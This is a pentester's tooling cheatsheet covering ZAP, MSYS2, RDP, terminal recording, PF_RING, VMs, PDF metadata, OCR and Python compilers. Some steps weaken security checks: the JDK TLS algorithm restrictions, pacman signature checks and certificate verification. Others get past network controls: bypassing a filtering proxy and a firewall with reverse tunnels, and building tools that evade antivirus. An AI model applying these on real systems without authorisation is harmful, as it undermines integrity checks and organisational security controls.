    JAVA_TOOL_OPTIONS="-Djava.security.properties="<(echo "jdk.tls.disabledAlgorithms=") exec /usr/bin/zaproxy
        
  • See also the ZAP FAQ

HiDPI

  • /usr/local/bin/zaproxy
    #!/bin/sh
    
    JAVA_TOOL_OPTIONS="-Dsun.java2d.uiScale=3.5" exec /usr/bin/zaproxy
        

MSYS for Windows

Download

  • Using MSYS might be the easiest way to get an unified linux-like environment in Windows
  • In fact, it can be successfully used to build native tools that are usually caught by the AV
  • Get it from msys2.org

Proxy Setup / Bypass

  • If the system is using a proxy, use it:
    # Check the Windows Proxy Settings
    export http_proxy=http://<ip:port>
    export https_proxy=https://<ip:port>
    # PAC files require a local HTTP proxy
    # and both exports should be http://...
        
  • If the proxy is filtering the content, consider bypassing it with a reverse tunnel
  • Now disable the SSL/TLS checks from pacman:
    nano /etc/pacman.conf
    # Uncomment a XferCommand and add a flag
    # to ignore SSL/TLS checks:
    #   -k                     -> curl
    #   --no-check-certificate -> wget
    
    # And change the main SigLevel to Never
        
  • Initialize and populate pacman’s keyring:
    pacman-key --init
    
    pacman-key --populate
        

Python Cryptography / Rust Installation

  • Installing the cryptography library via pip is ridiculously difficult
  • There’s the mingw-w64-x86_64-python-cryptography pkg, but it might be outdated
  • First install the following packages:
    pacman -S --disable-download-timeout mingw-w64-x86_64-gcc mingw-w64-x86_64-python mingw-w64-x86_64-python-pip mingw-w64-x86_64-python-wheel
        
  • Create a generic python lib via symlink:
    ln -s /mingw64/lib/libpython3.*.dll.a /mingw64/lib/libpython3.dll.a
        
  • Install Rust (mingw one doesn’t work) - ref:
    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
        
  • Customize the installation (opt 2) to use the following target: x86_64-pc-windows-gnu
  • Continue with the installation
  • Create a config file in your cargo home:
    %USERPROFILE%\.cargo\config
    ---------------------------
    [target.x86_64-pc-windows-gnu]
    linker = "C:\\msys64\\mingw64\\bin\\gcc.exe"
    ar = "C:\\msys64\\mingw64\\bin\\ar.exe"
        
  • Open a MinGW x64 terminal and add the Rust bin to the PATH (don’t worry about the exe):
    export PATH="/c/Users/$USERNAME/.cargo/bin:$PATH"
        
  • Try to install cryptography:
    # You might want to try a venv first
    pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org cryptography
    # Always try to install the dependencies
    # using pacman unless they are outdated
        
  • I got stuck in some OpenSSL error due to missing libs (not available in pacman), try downloading/compiling them next time and exporting the OPENSSL_VERSION variable

Embedded Python for Windows

  • If the machine doesn’t have internet, create a socks connection with plink -D
  • Make the OS use the socks proxy through the Internet Explorer LAN Configuration settings by only setting the Socks server option to 127.0.0.1 <port>
  • Send embedded python (since 3.5 - Windows Vista minimum): download - and proxychains
  • Change the last line of the proxychains configuration to use the local socks server and port like the IE setting
  • Send pip by first downloading it to your machine and then sending it to the Windows one
  • Install pip by setting the trusted flags to bypass the SSL errors:
    proxychains_win32_x86.exe -f proxychains.conf .\python.exe get-pip.py --trusted-host pypi.org --trusted-host files.pythonhosted.org
        
  • Uncomment the import site in the python<ver>._nth file as mentioned here
  • Then find pip in the Scripts folder but run it like:
    proxychains_win32_x86.exe -f proxychains.conf .\python.exe -m pip --trusted-host pypi.org --trusted-host files.pythonhosted.org install <package>
    :: pipenv won't work with embeddable
    :: https://github.com/pypa/pipenv/issues/4334#issuecomment-694715392
        
  • Note that some debugging programs that import python libraries (like cxfreeze) won’t work with embeddable python due to the fact that most of these libraries are inside the python<ver>.zip, you may try to decompress it and place the libraries in the Lib folder
  • It is worth mentioning that some packages may perfectly work if these libraries are removed from the import, for example yarp (autoripy dependency), which goes along if __version__ is removed (though you won’t be able to install it via the remote archive as this modification is needed)
  • But problems will exist for packages that depends on Microsoft Visual C++/SDK

VNC

  • The only Linux client that allows scaling to become usable in a HiDPI screen is Vinagre

RDP - Remote Desktop

Enable

  • Remote Desktop can only be enabled if the network currently connected is set as Private
  • Enable it via PS (source):
    :: Open the shell as Admin
    
    :: Get the name of the current net
    Get-NetConnectionProfile
    
    :: Set is as Private
    Set-NetConnectionProfile -Name "<NetName>" -NetworkCategory Private
        

RDP over Reverse SSH

  • Useful when there’s a firewall that is not allowing inbound connections for RDP
  • Note that the following assumes that the ssh client tool is already installed on the firewalled machine
  • First, create a SSH server on your machine (use gost):
    # Non-std ssh port for extra security
    gost -L forward+ssh://:2222
        
  • Use ssh in reverse tunnel mode:
     # Daemonize with -f once it works
     ssh -N -R 127.0.0.1:3389:127.0.0.1:3389 -p 2222 <server-ip>
    # Disable compression
    -o Compression=no
    # Enable compression
    -C
        

Connect with XFreeRDP

# Ctrl+Alt+Enter - Toggle fullscreen

# If RDP8 proto is not available
# use /rfx /codec-cache:rfx
xfreerdp /log-level:FATAL /network:lan /dynamic-resolution -decorations -themes /gfx /codec-cache:gfx +gfx-small-cache +glyph-cache /sound /u:'<DOMAIN>\<user>' /v:<ip-host>:<port> +auto-reconnect +bitmap-cache +multitransport +window-drag
# /drive:<name>,<path> - Mount local path
# /p:'<pass>           - Optional password
# -sec-tls             - No TLS (fix errors)
# -sec-nla             - No NLA (fix errors)
# /mic                 - Enable microphone

# Scale for HiDPI display
xfreerdp /log-level:FATAL /network:lan /scale:180 /scale-desktop:280 /scale-device:180 /dynamic-resolution -decorations -themes /gfx /codec-cache:gfx +gfx-small-cache +glyph-cache /sound /u:'<DOMAIN>\<user>' /v:<ip-host>:<port> +auto-reconnect +bitmap-cache +multitransport +window-drag
# There are some flags to redirect the
# local USBs and microphones

Record Screen

Integrated GPU

  • Note that frames will be lost if other high-computational processes (such as virtual machines) are using the CPU
  • Either preset veryfast with crf 38
  • Or preset superfast with crf 40
  • Consider adding -video_size <geometry>
  • Try increasing the -probesize in case some magic happens
  • Full command:
    ffmpeg -hide_banner -loglevel warning -hwaccel auto -probesize 100M -draw_mouse 0 -f x11grab -i :0.0 -an -c:v libx264rgb -crf 40 -preset superfast -tune stillimage -threads 0 <file.mkv>
        

Discrete GPU

  • Doesn’t have the problem of the missing frames, though hashcat and other GPGPU tools will create issues
  • pvkrun may not be necessary or could be replaced with primusrun
  • Full command:
    vblank_mode=0 optirun --no-xorg -b none -- pvkrun ffmpeg -hide_banner -loglevel warning -threads:v 2 -filter_threads 2 -thread_queue_size 4096 -vsync 0 -hwaccel cuvid -hwaccel_output_format cuda -probesize 100M -draw_mouse 0 -f x11grab -i :0.0 -an -c:v h264_nvenc -rc vbr -spatial-aq 1 -temporal-aq 1 -qmin 34 -qmax 51 -bufsize:v 32M -rc-lookahead:v 75 -b_adapt 0 -coder auto -tune hq "<file>-$(date '+%s').mkv"
        

Record Terminal

Extra

Compression

  • Create pipes to zstd, example:
    # Using zsh/bash pipes
    # script - record
    script -q -t >(zstd -q -T0 --ultra --long --adapt=min=1,max=22 -o timings.zst) >(zstd -q -T0 --ultra --long --adapt=min=1,max=22 -o rawout.zst)
    
    # script - playback
    scriptreplay -t <(zstdcat timings.zst) <(zstdcat rawout.zst)
    
    # ttyrec - record
    ttyrec -f >(zstd -q -T0 --ultra --long --adapt=min=1,max=22 -o record.zst)
    
    # ipbt - playback
    ipbt -u -U -A -P -T <(zstdcat record.zst)
        

Clean VT100/ANSI escapes

  • Use sed magic-regex - still needs to trim some vterm/tmux/screen escapes
  • Use ansi2html.sh (raw):
    # TODO - sed magic needed to further
    # trim 
     + vterm/tmux/screen escape
    zstdcat rawout.zst | ansi2html.sh | w3m -T text/html -dump | less -r
        

Script

  • Record:
    # Use -c for running a command
    # Use -a for appending to files
    script -q -t timings.ty rawout.ty
        
  • Playback:
    # No rewind support
    scriptreplay -t timings.ty rawout.ty
    
    # Join inactivity on same-frame - zsh
    scriptreplay -t <(awk '{ printf "%f %d\n", (($1 - last) > 1) ? 1 : $1, $2 }' timings.ty) rawout.ty
        
  • Run the recorded commands:
    # The recorded cmds will be executed
    scriptlive -t timings.ty rawout.ty
        

TTYrec

  • Use ovh-ttyrec (or ttyrec + patches)
  • Record (using ovh-ttyrec syntax):
    ttyrec -f record.trec
    
    # Record just a command
    ttyrec -f record.trec -- <cmd>
        
  • Playback:
    # No rewind support
    ttyplay record.trec
        
  • Dump the recording in raw format:
    ttyplay -n record.trec > rawout.ty
        
  • Repair corrupted ttyrec for IPBT:
    # Press + to duplicate the speed
    ttyrec -f <fixed> -- ttyplay <broken>
    # Play it in ipbt with <num>X
        

TTYrec - Perl

Termrec

  • termrec - Records in ttyrec format with extra information for better playback - untested

IPBT - Replayer

  • Git - Manual
  • Some ncurses tools won’t be displayed
  • Replay TTYrec:
    # --utf8-linedraw - Fix line drawings
    ipbt -u -U -A -T record.trec
    # -f <frame> -> Start at <frame>
    
    # Raw recordings
    ipbt -u -U -A -R rawout.ty
    
    # o    -> Frame info
    # l    -> Speedup idle periods
    # s/p  -> Pause/Play
    # SPC  -> Next Frame     - Number mod
    # b    -> Previous Frame - Number mod
    # <n>g -> Jump to <n>  frame
    # G    -> Jump to last frame
    # <n>x -> Speedup  playback <n> times
    # <n>X -> Slowdown playback <n> times
    # /    -> Search forward
    # ?    -> Search backward
    # n    -> Repeat search
        

asciinema

Conversion - ttyrec <> script

  • The following trick can be used but not time-efficient:
    ttyrec -f record.trec -- scriptreplay -t timings.ty rawout.ty
        

Screenshot Full Command Output

  • Before running the command start script:
    # DO NOT add the -t <tm> flag
    LC_ALL=C script -q rawout.ty
    # -c <cmd> - Run just the command
    # ^ The prompt won't be captured
    
    # Or use the following for compression
    script -q >(zstd -q -T0 --ultra --long --adapt=min=1,max=22 -o rawout.zst)
        
  • Run the command and exit script
  • Use ansi2html to create an HTML:
    # The xterm palette is the clearest
    < rawout.ty sh ansi2html.sh --bg=dark --palette=xterm > cmd.html
    
    # Or if compression was used
    zstdcat rawout.zst | sh ansi2html.sh --bg=dark --palette=xterm > cmd.html
        
  • Remove the script tags from the HTML:
    # TODO See if still relevant
    # Keeping the command prompt
    sed -i '/Script started/{N;s/.*\n//p;N;g;:a;g;N;/Script done/!{s,^\n\(</span>\)\+,,;P;s,[^\n]*\n,,;ba};d}' cmd.html
    # Works for multiple prompts
    sed -i ':a;/\(^\|\n\)<span[^\n]*<[^<]\+>\s\?[%#]\s\+$\|\n$/{N;ba};s/.*\n\+//;/^Script \(started\|done\)/d' cmd.html
    
    # TODO See if still relevant
    # Keeping the command, not the prompt
    sed -i '/Script started/{N;s/.*\n<span.*\(<[^<]\+>\) \?%/\1$/p;g;N;:a;N;/Script done/!{s,^\n\(</span>\)\+,,;P;s,[^\n]*\n,,;ba};d}' cmd.html
    # Works for multiple prompts
    sed -i ':a;/\(^\|\n\)<span[^\n]*<[^<]\+>\s\?[%#]\s[^<\n]\+$\|\n\s*$/{N;ba};/Script \(started\|done\)/d;s/^\(<span.*<[^<]\+>\s\?[%#]\s.*[^\n]\+\)\?\(\n*\)<span.*\(<[^<]\+>\)\s\?\([%#]\)\s*/\2\3\4 /' cmd.html
    # ^ Assuming % or # as prompt separator
    
    # TODO See if still relevant
    # Only the command's output
    sed -i '/Script started/{N;g;N;:a;g;N;/Script done/!{s,^\n\(</span>\)\+,,;P;s,[^\n]*\n,,;ba};d}' cmd.html
    # Works for multiple prompts
    sed -i ':a;/\(^\|\n\)<span[^\n]*<[^<]\+>\s\?[%#]\s[^<\n]\+$\|\n\s*$/{N;ba};/^\(<span[^\n]*<[^<]\+>\s\?[%#]\s.\+$\|Script \(started\|done\)\)/d' cmd.html
        
  • Use capture-website to generate the img:
    # Auto-crop full-page with --height=1
    capture-website --height=1 --full-page --overwrite --output=cmd.png cmd.html
    # 'Unable to capture screenshot' means
    # that the height is above 10000000px
    # This is a Chrome limitation
    
    # Use --inset to workaround the issue
    capture-website --height=30000 --inset=20000,0,0,0 --overwrite cmd.html
    # ^ 10000 pixels from 20000y-px
    # TODO Join all the images for full-out
    
    # TODO Crop Script tags with --inset
        

FFplay Scale Realtime Input

  • Assuming input signal of 1920x1080 and scaling to 3840x2160 (auto):
    vblank_mode=0 ffplay -video_size 1920x1080 -fast -an -infbuf -sync audio -framedrop -drp 0 -vf 'scale=3840:-1' -loglevel -8 -fs /dev/video1
        

NTop PF_RING (for Masscan)

Requirements

  • The Zero Copy drivers for the adapters only replace those that use PCIe (supported), so first check if your ethernet adapter uses PCI-express with lspci | grep -i ethernet, then check that the module currently used by the kernel is the same as the ones from the supported cards, ie, an Intel 8254x should be using e1000e: lsmod | grep e1000e
  • Note that e1000 and e1000e are not the same, make sure that the kernel is currently using e1000e (or can be instructed to use it) before proceeding

Pre-made packages

  • Some Debian distros have pkgs pre-made

Installing from source

Kali Linux

Dependencies:
  • linux-headers
  • dkms
  • dh-make
  • bison - Zero Copy
  • libjson-c-dev - Flow Table
Good to have
  • Debian package creator: checkinstall
Installation
PF_RING Flow Table
  • Documentation
  • Clone the sources:
    git clone https://github.com/ntop/nDPI
        
  • Install the library:
    cd nDPI
    
    ./autogen.sh
    
    # Add the version number
    checkinstall
        
PF_RING Zero Copy
  • Documentation
  • Clone the sources:
    git clone https://github.com/ntop/PF_RING
        
  • Install the kernel module:
    cd PF_RING/kernel
    
    ./configure
    
    make -f Makefile.dkms deb
        
  • Install the ZC driver module:
    cd ../drivers/intel
    
    ./configure
    
    make -f Makefile.dkms.<driver> deb
        
  • Install the libpfring library:
    cd ../userland/lib
    
    ./configure --enable-ndpi
    
    # Add the version number
    # and ndpi as dependency
    checkinstall
        
  • Install the patched libpcap:
    cd ../libpcap
    
    # Add --with-{dag,septel,...}
    # if you have any of those cards
    ./configure
    
    # Add the version number
    # and libpfring as dependency
    checkinstall
        
  • Install patched tcpdump:
    cd ../tcpdump
    
    ./configure
    
    # Add the version number
    # and libpfring as dependency
    checkinstall
        
  • Install Wireshark plugins:
    cd ../wireshark/extcap
    
    # You make have to return to the
    # folders where dkms was used and
    # issue a make for this to work
    make
    
    # Enable select the PF_RING iface
    cp ntopdump /usr/lib/<linux-platform>/wireshark/extcap/
    
    cd ../plugins
    
    # Enable the PF_RING proto filter
    cp PFRingFlow.lua /usr/lib/<linux-platform>/wireshark/plugins/
    # Or ~/.local/lib/wireshark/plugins/
    # Or ~/.wireshark/plugins/
        
  • Install specific card modules:
    cd ../../modules/<card>
    
    ./configure
    
    # Add the version number
    checkinstall
        
  • Install tools and services:
    cd ../../../
    
    # Command line tools
    cp package/usr/bin/* /usr/bin/
    
    cp tools/n2if /usr/bin/
    
    # Systemd services
    cp package/etc/systemd/system/* /etc/systemd/system/
        
Post-Installation Configuration
  • Enable Hugepages
  • Set the correct RSS values
  • Basic Configuration:
    # Folder skeleton
    mkdir -p /etc/pf_ring/zc/<driver>
    
    # Set Hugepages values
    echo "node=0 hugepagenumber=1024" > /etc/pf_ring/hugepages.conf
    
    # Enable RSS
    echo "RSS=0,0,0,0" > /etc/pf_ring/zc/<driver>/<driver>.conf
    
    # Make the driver usable
    touch /etc/pf_ring/zc/<driver>/<driver>.start
    
    # Set the type of usage per iface
    cat > /etc/pf_ring/interfaces.conf << EOF
    MANAGEMENT_INTERFACES="eth0"
    CAPTURE_INTERFACES="eth1 eth2"
    EOF
    
    # Or force to load the ZC driver
    touch /etc/pf_ring/forcestart
    
    # You may need to reset the iface
    echo "ifconfig eth0 192.168.1.1" > /etc/pf_ring/post
    chmod +x /etc/pf_ring/post
    
    # Enable and start the service
    systemctl enable --now pf_ring
    
    # Check the driver in use
    pf_ringcfg --list-interfaces
    
    # Also check its Polling Mode:
    cat /proc/net/pf_ring/dev/eth0/info
        
  • IDS Acceleration Example

VMWare VM Maintenance

Defrag

  • From inside the client machine:
    e4defrag /
        

Shrink Disk

  • Repeat the following twice, starting and powering off the machine (and waiting 10 minutes) in between to allow the VMplayer disk allocator to do its magic
  • From inside the client machine:
    vmware-toolbox-cmd disk wipe / ; cat /dev/zero > /wipefile; sync; rm /wipefile; sync ; vmware-toolbox-cmd disk shrinkonly /
        
  • Power off the client
  • From the command line (ref):
    cd <folder-with-vmdk>
    
    ls
    
    # Defrag
    vmware-vdiskmanager -d <main-vmdk>
    
    # Shrink
    vmware-vdiskmanager -k <main-vmdk>
        
  • Alternatively from the VMplayer UI:
    • Select the Hard Drive of the client in the VMplayer dashboard > VM Settings
    • Select Defrag disk (doesn’t seem to work)
    • Select Compact disk

VirtualBox VM

Shrink

  • Defrag the guest:
    # ext4 filesystem
    e4defrag /
        
  • Write a /wipefile to zero all the data:
    cat /dev/zero > /wipefile; sync; rm /wipefile; sync
        
  • Power off the guest
  • From the host:
    # List all the disks
    VBoxManage list hdds
    
    # Compact the disk
    VBoxManage modifymedium disk "<UUID>" --compact
    
    # Auto-compact all disks
    VBoxManage list hdds 2>&1 | awk '/^UUID/{print $2}' | xargs -i VBoxManage modifymedium disk "{}" --compact
        

Internal Network

  • Used to connect different VMs:
    VBoxManage dhcpserver add --netname intlab --ip 10.10.10.1 --netmask 255.255.255.0 --lowerip 10.10.10.2 --upperip 10.10.10.210 --enable
        
  • Create a new Internal Network adapter and write the name (if not listed): intlab
  • It might be needed to start the VMs in graphical mode to be able to manually connect to multiple ethernet adapters

Pip Cache

  • Purge pip cache and don’t use it anymore
    # Purge all cache
    pip cache purge
    
    # Don't use cache
    pip config set global.cache-dir false
        

Metadata

exiftool

  • Site - Read/Write metadata from files
    exiftool <file>
        
  • Extract interesting meta-fields from PDFs
    # TODO - Try to recover stripped metadata
    for f in *.pdf; do exiftool "$f" | awk -vf="\n${f//\\/\\\\}\n" -vd="${f//?/-}" 'BEGIN{print d f d}END{print""}{s=$0;gsub("^[^:]+|[][,)( :.]","",s)}s&&/^(MSIP[^:]*)*(Author|Title|Keywords|Creator|Producer|Artist|Credit|Special|By[- ]?Line|(Copy)?[Rr]ights?|Source|For|Name|Owner|Instructions|Originating ?Program|Keywords|Subject|Headline|(Image ?)?Description|City|Country|Company|Comment|Create ?Date|Metadata ?Date|Modify ?Date|Set ?Date|PDF ?Version|GTS ?PDFX ?Version|AI ?Creator ?Version|History ?Parameters|(History ?)?Software ?Agent|Primary ?Platform|Device ?Manufacturer|XMP ?Toolkit|Slices ?Group ?Name|GPS|Make|Camera ?Model ?Name|(Writer|Reader) ?Name|Image ?Description|Sensitivity|Directory|Application|(Manifest ?Reference|Ingredients) ?File ?Path|Profile ?Copyright|Language|Encryption|User ?Access)/&&!x[s]++'; done | tee allpdfs.meta | less
    # Use pdftk to easily identify when a PDF
    # has Author Passwords instead of looking
    # at the Encryption & User Access header
    
    # Mod to hide the headings if no metadata
    # for f in *.png *.jpg; do [...] |
    # awk [...] 'END{if(p)print""}{s=$0[...]
    #  }&&!x[s]++{if(!p++)print d f d;print}';
    # done | [...]
        

PDF

Extract Text

pdftotext (poppler)

  • Site - PDF rendering & extractor
    # Extract to stdout
    pdftotext <file.pdf> -
    # By default <file.txt> is created
    
    # Include metadata:
    pdftotext -htmlmeta <file.pdf> - | sed -n 's/^<meta .*/&\n/p;/^<pre>/,/^<\/pre>/{//!p}'
    
    # Analyze all PDFs in current dir
    for f in *.pdf; do echo "$f" | sed "h;s/./-/gp;H;x"; pdftotext -htmlmeta "$f" - | sed -n 's/<meta .*/&\n/p;/<pre>/,/<\/pre>/{//!p}'; echo; done | less
        

TOC / Bookmarks

Tabula

  • Site - PDF data extractor WebUI-based:
    # Start web server at 8080
    tabula
    
    # Use a different port + options
    tabula 9090 <tabula-opts>
        
  • Open the browser at localhost:<port>
  • Export as JSON (data) to use with jq

pdftk

  • Site - PDF data manipulator
  • Export Bookmarks + Metadata:
    pdftk <file.pdf> dump_data output <meta-file>
        
  • Import Bookmarks + Metadata:
    pdftk <file.pdf> update_info <meta-file> output <updated.pdf>
        

pdfminer

Information
  • Site - PDF data extractor/analyzer
dumppdf.py
  • Extract the internal PDF structure:
    # Only TOC/Bookmark table in xml
    dumppdf.py -T <file.pdf> -o TOC.xml
        

Ghostscript

  • Site - PostScript + PDF interpreter:
    # Try compress PDF better
    gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/prepress -dNOPAUSE -dQUIET -dBATCH -sOutputFile=<output.pdf> <input.pdf>
        

Import + Fix Bookmarks other PDF

  • Use when there are two similar PDFs:
    • But only one with TOC/Bookmark table
    • Which wants to be added to the other
  • Extract metadata of both PDFs:
    pdftk <file1.pdf> dump_data output <meta-file1>
    
    pdftk <file2.pdf> dump_data output <meta-file2>
        
  • Manually add the desired metadata from <meta-file1> to <meta-file2>
    • All Bookmark* data, for example
  • Using tabula, select the TOC from the PDF pages without the leading section numbers:
    • Do select ~”Section1 34”~ (page nº 34)
    • Don’t select ~”1. Section1 34”~
  • Export as JSON (data), file <file.json>
  • Annotate the offset number to the first page in the TOC:
    • If Section1 is in TOC page 1, but actual PDF page is 22, offset = 21
  • Fix bookmark pages by using the TOC and offset:
    offset=21
    jq -r '.. | .text?' <file.json> | sed '/^null$/{d;n};/[0-9]$/!{N;s/\n//};s/\(\. \.\? \?\)\+//' | while read l; do num=$(grep -o '[0-9]\{1,3\}$' <<< "$l"); sec=${l%${num}}; sed -i "/BookmarkTitle:.*${sec//\//\\/}$/{n;n;s/[0-9]\+$/$((num + $offset))/}" <meta-file2>; done
        
  • Fix subsections pages not showing in TOC (subsections with more than 2 levels) by calculating offset:
    # Not 100% reliable offsets
    grep -B 3 -A 1 'BookmarkLevel: [^12]$' <meta-file1> | awk '/^BookmarkPageNumber:/{if(bt!=""){n=$2 - pn; print bt, n < 0 ? n % 2 ? 0 : 1 : n; bt=""};pn=$2} /^BookmarkTitle:/{$1="";bt=substr($0,2)}' | while read l; do t=${l% [0-9]}; n=${l#${t} }; gawk -i inplace "/^BookmarkPageNumber/{pn=\$2} /^BookmarkTitle:.*${t//\//\\/}$/{print; getline; print; getline; \$2=pn + $n} {print}" <meta-file2>; done
        
  • Add new metadata to updated file2.pdf:
    pdftk <file2.pdf> update_info <meta-file2> output <updated.pdf>
        

OCR Text Layer

OCRmyPDF

  • Site - Make PDF searchable with text layer
    # Uses Tesseract OCR engine
    ocrmypdf <input.pdf> <output.pdf>
    # -l <lang1+lang2>  - Add languages
    # --jobs <n>        - Cores to use
    # --rotate-pages    - Fix misrotation
    # --deskew          - Fix crooked PDFs
    # --output-type <t> - PDF/A by default
    # --title "<title>" - Add a title
        

OCR

Tesseract

  • Site - State-of-the-art OCR engine:
    # Using the new LSTM engine (ver >= 4)
    tesseract --oem 1 -l eng <file.img> stdout
    # --oem <mode>       - OCR Engine Mode
    # -l <lang>          - Required
    # --list-langs
        
  • To OCR PDFs use OCRmyPDF with pdftotext
  • Or use pdftoppm to convert them to PPM/PNG:
    # Tesseract can read PNM files
    pdftoppm <file.pdf> file
    # Creates to one PPM file per page
    # -mono             - Generates PBM
    # -png              - Generates PNG
    # -hide-annotations - If breaks tesseract
        
  • Or use GhostScript to convert them to PNG:
    gs -sDEVICE=pngalpha -r300 -dNOPAUSE -dBATCH -q -o file-%03d.png <file.pdf>
    # Preserve color with
    # -sDEVICE=png16m -dTextAlphaBits=4
        

Ocrad

  • Site - Download - Non-lang dependant OCR:
    # Only png, pbm, pgm, and ppm - See below
    ocrad -c ascii -F utf8 <file.img> [...]
    # -c <file-charset>  - List all with help
    # -F <output-format> - List all with help
    # -l                 - Whitespace split
    # -i                 - Invert img filter
    # -s [-]<num-scale>  - Scale img filter
    # -T <num-threshold> - Useful for scale
    # -u <l,t,w,h>       - Analyze region
    # -t <transform>     - Rotate/Mirror/etc
    # -E <file.filter>   - See Filters man
    #    Use it to only output specific
    #    characters or replace others
    # -e <filter>        - Hint content
    #    numbers -> Recognize hex accurately
    #    text_only
    #    upper_num
    #    same_height -> Only averg size text
    #    text_block  -> Recognize tables etc
    # Multiple filters can be chained
        
  • Analyze JPEG and PDFs with helper tools:
    # OCR a JPEG with djpeg
    djpeg -greyscale -pnm <file.jpg> | ocrad
    
    # OCR a PDF with GhostScript
    gs -sPAPERSIZE=a4 -sDEVICE=pnmraw -r300 -dNOPAUSE -dBATCH -sOutputFile=- -q <file.pdf> | ocrad
        

Compilers

Python

Notes

  • Try downloading the dependencies with pipenv or venv to avoid conflicts

Nuitka

  • Nuitka transforms the intermediary Python code to C and compiles it with a C compiler (which will download):
    # Using python -m is preferred to
    # simply calling nuitka
    # You may try these as a last resort:
    # --follow-stdlib
    # --force-dll-dependency-cache-update
    #
    # Note that follow-stdlib may require
    # including all modules in the .py
    #  --include-module=site
    #
    # You may force include pkg/modules:
    #  --include-plugin-directory=
    #
    # You may use a different compiler:
    #  --mingw64 | --clang | --msvc=<ver>
    #
    # You may try linking optimizations:
    #  --lto
    #
    # You may cross arch compile:
    #  --python-arch=
    #
    # In Windows you may specify another
    # dir for extraction (like C:) with
    #  --windows-onefile-tempdir-spec=
    #
    # In Windows you may force the stdout
    # and stderr to specific files with
    #  --windows-force-stdout-spec=
    #  --windows-force-stderr-spec=
    # > Don't use UPX with nuitka EXEs
    python -m nuitka --output-dir=nuitka-build --assume-yes-for-downloads --follow-imports --standalone --onefile --remove-output --windows-onefile-tempdir --include-data-file=<additional-dir>/=<additional-dir>/ <main-py-file>
        

PyInstaller

  • PyInstaller bundles the current python interpreter and the package into an executable:
    # Try using UPX: --upx-dir
    # Try without unicode: -a
    # Force import: --hidden-import <pkg>
    # Stricter:
    #   --win-no-prefer-redirects
    #   --win-private-assemblies
    python -m pyinstaller -c -F --clean <main-py-file>
        

cx_Freeze

  • cx_Freeze is another alternative but requires Microsoft Visual C++/SDK to create the bundles

About

FTF Hacksheet allows the friendly hacker to focus on happy hacking!

License:MIT License